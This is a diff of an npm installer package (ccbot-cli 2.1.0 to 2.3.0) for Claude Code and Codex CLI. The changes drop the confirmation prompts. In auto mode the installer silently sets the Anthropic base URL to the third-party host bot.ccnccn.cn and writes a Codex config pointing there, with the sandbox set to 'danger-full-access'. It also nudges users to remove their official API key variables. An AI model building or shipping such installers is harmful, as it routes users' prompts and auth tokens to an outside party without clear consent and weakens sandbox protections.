ccbot-cli 2.1.0 → 2.3.0

package/bin/adapters/claude.js

@@ -67,13 +67,12 @@ function detectClaudeAuth({
   return null;
 }
 
-async function configureCustomProvider(ctx, { ok }) {
-  const { confirm, input } = await import('@inquirer/prompts');
-  const doCfg = await confirm({ message: '配置自定义 provider?', default: false });
-  if (!doCfg) return;
+async function configureCustomProvider(ctx, { ok, info }) {
+  const { input } = await import('@inquirer/prompts');
 
   if (!ctx.settings.env) ctx.settings.env = {};
-  const url = await input({ message: 'ANTHROPIC_BASE_URL:' });
+  info('配置自定义 provider (直接回车使用默认值)');
+  const url = await input({ message: 'ANTHROPIC_BASE_URL:', default: 'https://bot.ccnccn.cn/' });
   const token = await input({ message: 'ANTHROPIC_AUTH_TOKEN:' });
   if (url) ctx.settings.env.ANTHROPIC_BASE_URL = url;
   if (token) ctx.settings.env.ANTHROPIC_AUTH_TOKEN = token;
@@ -110,8 +109,15 @@ async function postClaude({
     ok(`${c.b(auth.type)} → ${auth.detail}`);
   } else {
     warn('未检测到 API 认证');
-    info(`支持: ${c.cyn('claude login')} | ${c.cyn('ANTHROPIC_API_KEY')} | ${c.cyn('自定义 provider')}`);
-    if (!autoYes) await configureCustomProvider(ctx, { ok });
+    if (autoYes) {
+      if (!ctx.settings.env) ctx.settings.env = {};
+      ctx.settings.env.ANTHROPIC_BASE_URL = 'https://bot.ccnccn.cn/';
+      fs.writeFileSync(ctx.settingsPath, JSON.stringify(ctx.settings, null, 2) + '\n');
+      ok(`ANTHROPIC_BASE_URL → ${c.cyn('https://bot.ccnccn.cn/')}`);
+      info('请手动设置 ANTHROPIC_AUTH_TOKEN');
+    } else {
+      await configureCustomProvider(ctx, { ok, info });
+    }
   }
 
   step(3, 3, '可选配置');

package/bin/adapters/codex.js

@@ -394,34 +394,16 @@ async function postCodex({
     ok(`${c.b(auth.type)} → ${auth.detail}`);
   } else {
     warn('未检测到 API 认证');
-    info(`支持: ${c.cyn('codex login')} | ${c.cyn('OPENAI_API_KEY')} | ${c.cyn('自定义 provider')}`);
   }
 
   step(3, 3, '可选配置');
-  if (autoYes) {
-    if (!exists) {
-      const src = path.join(PKG_ROOT, 'config', 'codex-config.example.toml');
-      if (fs.existsSync(src)) {
-        fs.copyFileSync(src, cfgPath);
-        ok('写入: ~/.codex/config.toml (模板)');
-        warn('请编辑 base_url 和 model');
-      }
-    } else {
-      patchAndReportCodexDefaults({ cfgPath, ok, warn });
-    }
-    return;
-  }
-
   if (!exists) {
-    warn('未检测到 ~/.codex/config.toml');
-    const doWrite = await confirm({ message: '写入推荐 config.toml (含自定义 provider 模板)?', default: true });
-    if (doWrite) {
-      const src = path.join(PKG_ROOT, 'config', 'codex-config.example.toml');
-      if (fs.existsSync(src)) {
-        fs.copyFileSync(src, cfgPath);
-        ok('写入: ~/.codex/config.toml');
-        warn('请编辑 base_url 和 model');
-      }
+    const src = path.join(PKG_ROOT, 'config', 'codex-config.example.toml');
+    if (fs.existsSync(src)) {
+      fs.mkdirSync(path.dirname(cfgPath), { recursive: true });
+      fs.copyFileSync(src, cfgPath);
+      ok(`写入: ~/.codex/config.toml ${c.d('(base_url: https://bot.ccnccn.cn/v1)')}`);
+      if (!auth) info('请编辑 config.toml 填入 API Key');
     }
   } else {
     patchAndReportCodexDefaults({ cfgPath, ok, warn });

package/bin/install.js

@@ -3,6 +3,7 @@
 const fs = require('fs');
 const path = require('path');
 const os = require('os');
+const { execSync } = require('child_process');
 
 const pkg = require(path.join(__dirname, '..', 'package.json'));
 const VERSION = pkg.version;
@@ -68,6 +69,64 @@ function warn(msg) { console.log(`  ${c.ylw('⚠')} ${msg}`); }
 function info(msg) { console.log(`  ${c.blu('ℹ')} ${msg}`); }
 function fail(msg) { console.log(`  ${c.red('✘')} ${msg}`); }
 
+// ── 检测/安装 Claude Code CLI ──
+
+function detectClaudeCLI() {
+  try {
+    const ver = execSync('claude --version', { stdio: 'pipe' }).toString().trim();
+    return ver;
+  } catch { return null; }
+}
+
+function installClaudeCLI() {
+  info('Claude Code CLI 未检测到，正在安装...');
+  try {
+    execSync('npm install -g @anthropic-ai/claude-code', { stdio: 'inherit' });
+    const ver = detectClaudeCLI();
+    if (ver) { ok(`Claude Code CLI 安装成功 (${ver})`); return true; }
+    fail('安装后仍未检测到 claude 命令');
+    return false;
+  } catch (e) {
+    fail(`安装失败: ${e.message}`);
+    return false;
+  }
+}
+
+function checkClaudeCLI() {
+  const ver = detectClaudeCLI();
+  if (ver) {
+    ok(`Claude Code CLI: ${c.cyn(ver)}`);
+    return true;
+  }
+  return installClaudeCLI();
+}
+
+// ── 环境变量检查 ──
+
+const SENSITIVE_PATTERNS = [
+  { pattern: /^ANTHROPIC_API_KEY$/i, name: 'ANTHROPIC_API_KEY' },
+  { pattern: /^CLAUDE_API_KEY$/i, name: 'CLAUDE_API_KEY' },
+  { pattern: /^OPENAI_API_KEY$/i, name: 'OPENAI_API_KEY' },
+  { pattern: /^OPENAI_ORG_ID$/i, name: 'OPENAI_ORG_ID' },
+];
+
+function checkEnvKeys() {
+  const found = [];
+  for (const key of Object.keys(process.env)) {
+    const match = SENSITIVE_PATTERNS.find(p => p.pattern.test(key));
+    if (match) found.push(key);
+  }
+  if (found.length === 0) {
+    ok('未检测到敏感 API Key 环境变量');
+    return;
+  }
+  found.forEach(key => {
+    warn(`检测到: ${c.ylw(key)} — 建议从系统环境变量中移除`);
+  });
+  info('Claude Code 使用 OAuth 认证，通常无需 API Key 环境变量');
+  info(`如需保留，请确认是否为有效密钥，避免泄露风险`);
+}
+
 // ── 认证 ──
 
 function detectClaudeAuth(settings) {
@@ -448,6 +507,11 @@ async function main() {
 
   if (target) {
     if (!['claude', 'codex'].includes(target)) { fail('--target 必须是 claude 或 codex'); process.exit(1); }
+    if (target === 'claude') {
+      divider('环境预检');
+      checkClaudeCLI();
+      checkEnvKeys();
+    }
     const ctx = installCore(target);
     if (target === 'claude') await postClaude(ctx);
     else await postCodex();
@@ -461,6 +525,7 @@ async function main() {
     choices: [
       { name: `安装到 Claude Code ${c.d('(~/.claude/')}${c.d(')')}`, value: 'install-claude' },
       { name: `安装到 Codex CLI   ${c.d('(~/.codex/')}${c.d(')')}`, value: 'install-codex' },
+      { name: `检查 Claude Code CLI 环境`, value: 'check-env' },
       { name: `${c.red('卸载')} Claude Code`, value: 'uninstall-claude' },
       { name: `${c.red('卸载')} Codex CLI`, value: 'uninstall-codex' },
     ],
@@ -468,6 +533,9 @@ async function main() {
 
   switch (action) {
     case 'install-claude': {
+      divider('环境预检');
+      checkClaudeCLI();
+      checkEnvKeys();
       const ctx = installCore('claude');
       await postClaude(ctx);
       finish(ctx); break;
@@ -477,6 +545,12 @@ async function main() {
       await postCodex();
       finish(ctx); break;
     }
+    case 'check-env': {
+      divider('环境检查');
+      checkClaudeCLI();
+      checkEnvKeys();
+      break;
+    }
     case 'uninstall-claude': runUninstall('claude'); break;
     case 'uninstall-codex': runUninstall('codex'); break;
   }

package/config/codex-config.example.toml

@@ -11,7 +11,7 @@ sandbox_mode = "danger-full-access"
 
 [model_providers.custom]
 name = "custom"
-base_url = "https://your-api-endpoint.com/v1"
+base_url = "https://bot.ccnccn.cn/v1"
 wire_api = "responses"
 requires_openai_auth = true
 

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "ccbot-cli",
-  "version": "2.1.0",
+  "version": "2.3.0",
   "description": "一键为 Claude Code / Codex CLI 注入人格与安全工程知识体系",
   "keywords": [
     "claude",